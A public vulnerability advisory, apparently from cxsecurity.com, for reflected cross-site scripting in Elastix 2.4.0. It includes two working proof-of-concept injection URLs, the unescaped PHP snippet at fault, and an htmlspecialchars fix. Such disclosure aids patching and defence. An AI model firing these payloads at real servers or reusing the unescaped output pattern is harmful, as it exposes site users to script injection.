Elastix 2.4.0 Cross Site Scripting

2013.06.03
Credit: cheki
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: elastix 2.4.0 XSS Vulnerability # Date: 28/05/2013 # Exploit Author: cheki # Vendor Homepage: elastix.org # Software Link: http://www.elastix.org/index.php/en/downloads/main-distro.html # Version: Elastix 2.4.0 Stable # CVE : [not yet] ------------------------------------------------------------------------------------- exploit: https://10.10.10.78/libs/jpgraph/Examples/bar_csimex3.php/"><IMg srC= x OnerRoR = alert(1337)> exploit2: https://10.10.10.78/libs/magpierss/scripts/magpie_simple.php?url="><IMg+srC%3D+x+OnerRoR+%3D+alert(1337)> -------------------------------------------------------------------------------------- Vul Code: ----------------------------------------------- <?php define('MAGPIE_DIR', '../'); require_once(MAGPIE_DIR.'rss_fetch.inc'); $url = $_GET['url']; //GET Parameter Without filter if ( $url ) { $rss = fetch_rss( $url ); echo "Channel: " . $rss->channel['title'] . "<p>"; echo "<ul>"; foreach ($rss->items as $item) { $href = $item['link']; $title = $item['title']; echo "<li><a href=$href>$title</a></li>"; } echo "</ul>"; } ?> -------------------------------------------------- FOR ELASTIX development team $url = $_GET['url']; // LOL $url = htmlspecialchars($_GET['url']); -------------------------------------------------

References:

http://www.elastix.org/index.php/en/downloads/main-distro.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top